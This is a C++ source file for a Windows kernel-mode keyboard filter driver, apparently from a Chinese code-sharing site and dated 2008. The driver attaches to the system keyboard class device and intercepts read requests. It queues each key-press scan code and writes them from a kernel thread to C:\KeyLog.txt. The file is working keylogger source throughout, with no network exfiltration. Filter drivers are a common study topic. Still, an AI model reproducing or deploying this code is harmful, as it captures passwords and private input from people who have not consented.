📄 mskbdflt.cpp
字号:
//
//
// 2008/4/26
//
// Writted By Gdh
//
#include "MSKbdComm.h"
// 创建纪录键信息的日志文件
NTSTATUS MSKbdCreateFile(
IN PKBDDEVICE_EXTENSION pKbdExtension,
IN UNICODE_STRING& usFileName
)
{
NTSTATUS ntCode = STATUS_SUCCESS;
KdPrint(("MSKbdCreateFile:"));
IO_STATUS_BLOCK iosb;
OBJECT_ATTRIBUTES objAttr;
InitializeObjectAttributes(&objAttr, &usFileName, OBJ_CASE_INSENSITIVE, NULL, NULL);
// 创建文件
ntCode = ZwCreateFile(&pKbdExtension->hLogFile,
GENERIC_WRITE,
&objAttr,
&iosb,
NULL,
FILE_ATTRIBUTE_NORMAL,
0,
FILE_OPEN_IF,
FILE_SYNCHRONOUS_IO_NONALERT,
NULL,
0);
return ntCode;
}
// 键盘分层驱动的例程
NTSTATUS MSKbdDriverEntry(
IN PDRIVER_OBJECT pKbdDrvObj,
IN PUNICODE_STRING pRegisterPath
)
{
NTSTATUS ntCode = STATUS_SUCCESS;
// 初始化驱动程序的函数表
for (int i = 0; i < IRP_MJ_MAXIMUM_FUNCTION; i++)
{
pKbdDrvObj->MajorFunction[i] = MSKbdPassDown;
}
// 实现读取键盘缓冲
pKbdDrvObj->MajorFunction[IRP_MJ_READ] = MSKbdRead;
pKbdDrvObj->DriverUnload = MSKbdUnload;
// 安装过滤设备
ntCode = MSKbdHookDevice(pKbdDrvObj);
if (NT_SUCCESS(ntCode))
{
// 创建保存记录的文件
UNICODE_STRING usFileName;
RtlInitUnicodeString(&usFileName, L"\\DosDevices\\c:\\KeyLog.txt");
ntCode = MSKbdCreateFile((PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension, usFileName);
if (NT_SUCCESS(ntCode))
{
// 创建纪录击键信息的线程
ntCode = MSKbdInitRecKeyInfoThread(pKbdDrvObj);
}
}
KdPrint(("MSKbdFlt Driver Load"));
return ntCode;
}
// 安装键盘过滤设备(在设备堆栈中插入一个设备)
NTSTATUS MSKbdHookDevice(
IN PDRIVER_OBJECT pKbdDrvObj
)
{
NTSTATUS ntCode = STATUS_SUCCESS;
// 创建过滤设备
PDEVICE_OBJECT pKbdFltDev = NULL;
ntCode = IoCreateDevice(pKbdDrvObj,
sizeof(KBDDEVICE_EXTENSION),
NULL,
FILE_DEVICE_KEYBOARD,
0,
TRUE,
&pKbdFltDev
);
KdPrint(("MSKbdHookDevice:IoCreateDevice:%d", ntCode));
if (NT_SUCCESS(ntCode))
{
// 过滤设备标志应与它挂接到的设备标志相同(Use DeviceTree Tool To Look Info About Device)
pKbdFltDev->Flags = pKbdFltDev->Flags | (DO_BUFFERED_IO | DO_POWER_PAGABLE);
pKbdFltDev->Flags &= ~DO_DEVICE_INITIALIZING;
// 初始化过滤设备的设备扩展域
PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdFltDev->DeviceExtension;
RtlZeroMemory(pKbdExtension, sizeof(KBDDEVICE_EXTENSION));
// 添加过滤设备到下一驱动程序设备上
// L"\\Device\\KeyboardClass0"
UNICODE_STRING usKbdDevName;
RtlInitUnicodeString(&usKbdDevName, L"\\Device\\KeyboardClass0");
ntCode = IoAttachDevice(pKbdFltDev, &usKbdDevName, &pKbdExtension->pKbdDev);
KdPrint(("MSKbdHookDevice:IoAttachDevice:%d", ntCode));
}
return ntCode;
}
// 驱动的读取例程
NTSTATUS MSKbdRead(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp
)
{
KdPrint(("MSKbdRead:Keyboard Read Routine"));
// 拷贝此请求到下一个驱动程序
IoCopyCurrentIrpStackLocationToNext(pIrp);
// 在此IRP中建立一个完成例程
IoSetCompletionRoutine(pIrp, MSKbdReadCompletion, pKbdDevObj, TRUE, TRUE, TRUE);
PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;
// 增加一个未决的IRP数目
g_lPendingIrpNums++;
KdPrint(("MSKbdRead:g_lPendingIrpNums=%d", g_lPendingIrpNums));
return IoCallDriver(pkbdExtension->pKbdDev, pIrp);
}
// 线程例程
VOID MSKbdRecKeyThread(
IN PVOID pContent
)
{
PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pContent;
if (pkbdExtension)
{
while (TRUE)
{
KdPrint(("MSKbdRecKeyThread : Strta WaitForSingleObject"));
// 等待信号量
KeWaitForSingleObject(&pkbdExtension->semQueue, Executive, KernelMode, FALSE, NULL);
KdPrint(("MSKbdRecKeyThread : Strta ExInterlockedRemoveHeadList"));
// 从共享链表中取出数据
PLIST_ENTRY plistEntry = ExInterlockedRemoveHeadList(&pkbdExtension->queueListHeader, &pkbdExtension->spinLockQueue);
if (plistEntry)
{
KdPrint(("MSKbdRecKeyThread:ExInterlockedRemoveHeadList:plistEntry=0X%08X", plistEntry));
// 取出数据
PKBD_DATA pkbdData = (PKBD_DATA)CONTAINING_RECORD(plistEntry, KBD_DATA, listEntry);
if (pkbdData)
{
KdPrint(("MSKbdRecKeyThread:CONTAINING_RECORD:%08X", pkbdData->ushortScanCode));
UNICODE_STRING usScanCode;
if (NT_SUCCESS(RtlIntegerToUnicodeString((ULONG)pkbdData->ushortScanCode, 16, &usScanCode)))
{
// 写文件
IO_STATUS_BLOCK iosb;
ZwWriteFile(pkbdExtension->hLogFile, NULL, NULL, NULL, &iosb, usScanCode.Buffer, usScanCode.Length, NULL, NULL);
ZwWriteFile(pkbdExtension->hLogFile, NULL, NULL, NULL, &iosb, "\r\n", 2, NULL, NULL);
KdPrint(("MSKbdRecKeyThread:ZwWriteFile:%ws", pkbdData->ushortScanCode));
}
}
}
// 检查是否需要终止线程
if (pkbdExtension->bTerminateThread)
{
PsTerminateSystemThread(STATUS_SUCCESS);
KdPrint(("MSKbdRecKeyThread: PsTerminateSystemThread Status Success"));
break;
}
}
}
}
// 创建纪录击键信息到文件的线程
NTSTATUS MSKbdInitRecKeyInfoThread(
IN PDRIVER_OBJECT pKbdDrvObj
)
{
NTSTATUS ntCode = STATUS_SUCCESS;
PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension;
pKbdExtension->bTerminateThread = FALSE;
KeInitializeSemaphore(&pKbdExtension->semQueue, 0, MAXLONG);
KeInitializeSpinLock(&pKbdExtension->spinLockQueue);
InitializeListHead(&pKbdExtension->queueListHeader);
// 创建系统线程
HANDLE hSysThread = NULL;
ntCode = PsCreateSystemThread(&hSysThread, THREAD_ALL_ACCESS, NULL, NULL, NULL, MSKbdRecKeyThread, pKbdExtension);
KdPrint(("MSKbdInitRecKeyInfoThread:PsCreateSystemThread:%08X", ntCode));
if (NT_SUCCESS(ntCode))
{
// 取出线程对象
ntCode = ObReferenceObjectByHandle(hSysThread, THREAD_ALL_ACCESS, NULL, KernelMode, (PVOID*)&pKbdExtension->pThreadObj, NULL);
ZwClose(hSysThread);
KdPrint(("MSKbdInitRecKeyInfoThread:ObReferenceObjectByHandle:%08X", ntCode));
}
return ntCode;
}
// 当下一层驱动完成IRP处理时则让IO管理器调用完成IRP的完成例程
NTSTATUS MSKbdReadCompletion(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp,
IN PVOID pContent
)
{
NTSTATUS ntCode = STATUS_SUCCESS;
PKBDDEVICE_EXTENSION pKbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;
KdPrint(("MSKbdReadCompletion:%08X", ntCode));
if (pIrp->IoStatus.Status == STATUS_SUCCESS)
{
LONG uKeyDataNums = pIrp->IoStatus.Information / sizeof(KEYBOARD_INPUT_DATA);
PKEYBOARD_INPUT_DATA pkeys = (PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
if (pkeys)
{
// 保存数据到共享链表
// 只保存按下键
for (LONG i = 0; i < uKeyDataNums; i++)
{
if (pkeys[i].Flags == KEY_MAKE)
{
KdPrint(("Key Press Scade Code:%04X", pkeys[i].MakeCode));
// 保存到旋转队列,必须使用常驻内存(IRQL Dispatch Level)
PKBD_DATA pkbdData = (PKBD_DATA)ExAllocatePool(NonPagedPool, sizeof(KBD_DATA));
pkbdData->ushortKeyStatus = pkeys[i].Flags;
pkbdData->ushortPortId = pkeys[i].UnitId;
pkbdData->ushortScanCode = pkeys[i].MakeCode;
// 加入双向链表
ExInterlockedInsertTailList(&pKbdExtension->queueListHeader, &pkbdData->listEntry, &pKbdExtension->spinLockQueue);
// 增加信号量数
KeReleaseSemaphore(&pKbdExtension->semQueue, 0, 1, FALSE);
}
}
}
}
if (pIrp->PendingReturned)
{
IoMarkIrpPending(pIrp);
}
g_lPendingIrpNums--;
KdPrint(("MSKbdReadCompletion:g_lPendingIrpNums=%d", ntCode));
return pIrp->IoStatus.Status;
}
// 驱动的卸载例程
VOID MSKbdUnload(
IN PDRIVER_OBJECT pKbdDrvObj
)
{
KdPrint(("Strat MSKbdUnload"));
// 卸载分层驱动
PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDrvObj->DeviceObject->DeviceExtension;
IoDetachDevice(pKbdDrvObj->DeviceObject);
// 等待按键处理全部完成
// 创建定时器
KTIMER timer;
KeInitializeTimer(&timer);
LARGE_INTEGER timeout;
timeout.QuadPart = 1000000; // 1s
if (g_lPendingIrpNums > 0)
{
// 还有读取键盘的请求没被处理
KeSetTimer(&timer, timeout, NULL);
KeWaitForSingleObject(&timer, Executive, KernelMode, FALSE, NULL);
}
// 设置内核线程的退出标志
pkbdExtension->bTerminateThread = TRUE;
// 防止内核线程阻塞
KeReleaseSemaphore(&pkbdExtension->semQueue, 0, 1, TRUE);
// 等待线程终止
KeWaitForSingleObject(pkbdExtension->pThreadObj, Executive, KernelMode, FALSE, NULL);
// 删除文件句柄
ZwClose(pkbdExtension->hLogFile);
// 删除设备
IoDeleteDevice(pKbdDrvObj->DeviceObject);
}
// 在驱动程序的主函数表中设置所有的函数地址为MSKbdPassDown
// 此例程不处理,直接传递请求到下一层驱动
NTSTATUS MSKbdPassDown(
IN PDEVICE_OBJECT pKbdDevObj,
IN PIRP pIrp
)
{
KdPrint(("MSKbdPassDown"));
// 传递当前的IRP让下一层驱动程序处理
IoSkipCurrentIrpStackLocation(pIrp);
PKBDDEVICE_EXTENSION pkbdExtension = (PKBDDEVICE_EXTENSION)pKbdDevObj->DeviceExtension;
return IoCallDriver(pkbdExtension->pKbdDev, pIrp);
}
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -